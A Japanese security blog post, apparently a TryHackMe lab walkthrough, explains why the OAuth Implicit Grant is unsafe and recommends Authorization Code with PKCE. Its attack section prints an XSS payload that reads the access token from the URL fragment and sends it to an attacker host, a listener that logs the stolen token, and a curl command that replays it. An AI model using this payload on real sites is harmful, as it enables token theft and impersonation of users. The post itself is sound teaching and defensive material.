はじめに
この記事でわかること
- Implicit Grant がなぜ危険なのか
- URL フラグメントに露出したトークンがどう盗まれるか
- XSS と組み合わせた「実際の攻撃手法」
- 攻撃者と被害者の視点で流れを完全再現
- OAuth 2.0 Security BCP がなぜ Implicit Flow を廃止したのか
- PKCE(Authorization Code Flow)への移行理由
1. Implicit Grant はなぜ危険なのか?
Implicit Grant Flow(Implicit Flow)は元々、
SPA(Single Page Application)向けの簡易フローとして作られました。
しかし時代は変わり、今では 非推奨。
OAuth 2.0 Security BCP では完全に 廃止方向 に向かっています。
Implicit Grant の構造的弱点
| 弱点 | 内容 |
|---|---|
| アクセストークンが URL に露出する |
callback#access_token=xxxx の形でフロントへ丸見え |
| XSS に極端に弱い | JavaScript から window.location.hash で閲覧可能 |
| HTTPS 必須なのに徹底されないことが多い | MiTM がアクセストークンを盗聴可能 |
| redirect_uri のバリデーションが甘いと致命傷 | 攻撃者ドメインへトークン送信させられる |
| localStorage などに保存しがち | XSS でそのまま盗まれる |
つまり、Implicit Flow は「攻撃者にトークンを献上するフロー」。
その場で即アウト。OAuth が避けたい全てが詰まっている。
2. 実際の攻撃:Implicit Grant × XSS の合わせ技
ここからは TryHackMe の実演環境を使い、
被害者 → 攻撃者 の視点で順に追いかけます。
2.1 被害者側:普通のユーザーはこう動く
被害者は以下にアクセス:
http://factbook.thm:8080
「Sync Statuses from CoffeeShopApp」ボタンを押すと、
アプリは Implicit Flow 用の URL を生成してリダイレクトします:
var client_id = 'npmL7WDiRo...';
var redirect_uri = 'http://factbook.thm:8080/callback.php';
var auth_url = "http://coffee.thm:8000/o/authorize/";
var url = auth_url +
"?response_type=token" +
"&client_id=" + client_id +
"&redirect_uri=" + encodeURIComponent(redirect_uri);
window.location.href = url;
ログイン後、認可サーバは被害者を次のようにリダイレクトします:
http://factbook.thm:8080/callback.php#access_token=XXXXX&token_type=Bearer
ここが最大の弱点
#access_token=... が JS に丸見え。
2.2 攻撃者が使う XSS ペイロード
攻撃者が用意するコード(被害者のステータス欄に入力させる):
<script>
var hash = window.location.hash.substr(1);
var result = hash.split('&').reduce(function (res, item) {
var parts = item.split('=');
res[parts[0]] = parts[1];
return res;
}, {});
var accessToken = result.access_token;
var img = new Image();
img.src = 'http://ATTACKBOX_IP:8081/steal_token?token=' + accessToken;
</script>
2.3 ペイロードの仕組みを噛み砕いて理解する
1. window.location.hash を取得
例:
#access_token=XYZ123&token_type=Bearer
2. 先頭の # を削る
access_token=XYZ123&token_type=Bearer
3. & で分割してパース
→ JS オブジェクトへ:
{
access_token: "XYZ123",
token_type: "Bearer"
}
4. 攻撃者サーバへ漏洩
Image オブジェクトの src に
http://ATTACKBOX:8081/steal_token?token=XYZ123 を突っ込むと…
ブラウザ「おっ、画像か!とりあえず GET 送るわ!」
→ この GET が Attackbox のログに残る。
2.4 攻撃者のサーバログにはこう出る
攻撃者側で実行:
python3 -m http.server 8081
被害者がページを読み込むと…
GET /steal_token?token=2aauviER3lUOev8wNmXQ9B4GNUoadE HTTP/1.1
ログにトークンが出ている=攻撃成功。
2.5 盗んだトークンで何ができる?
例えば API 状態を読む/書くなど、そのユーザーとして行動できる。
例:
curl -H "Authorization: Bearer 2aauviER3lUOev8wNmXQ9B4GNUoadE" \
http://coffee.thm:8000/api/status/
→ 完全に「被害者としての操作」が可能。
3. なぜ Implicit Flow は廃止なのか?
OAuth Security BCP ではこう指定:
Implicit Flow は利用すべきではない。
Authorization Code + PKCE を使用すること。
PKCE の改善ポイント
| 改善点 | 説明 |
|---|---|
| アクセストークンがフロントに露出しない | URL に #access_token が出ない |
| 認可コードには PKCE が付く | 攻撃者がコードを盗んでも変換できない |
| HTTPS+サーバ側管理で堅牢化 | JS からアクセストークンを触らない設計が可能 |
SPA でも PKCE が標準(Auth0, Google, Cognito など全部これ)。
4. 実務で必要な防御策まとめ
| 分類 | 防御策 |
|---|---|
| XSS 対策 | 出力エスケープ、CSP、インライン JS 禁止 |
| 通信保護 | HTTPS 強制、HSTS |
| OAuth 設計 | Implicit 廃止 → Code + PKCE |
| トークン保管 | localStorage に保存しない、Cookie(HttpOnly, Secure)活用 |
| redirect_uri | 完全一致、ワイルドカード禁止 |
まとめ
今回のデモは一言でいうと:
「XSS+Implicit Flow が揃えば、アクセストークンの窃取は1行レベル」
今のセキュリティ標準では、
SPA であっても必ず Authorization Code + PKCE を使うことが必須。
Implicit を使う理由はもう無い。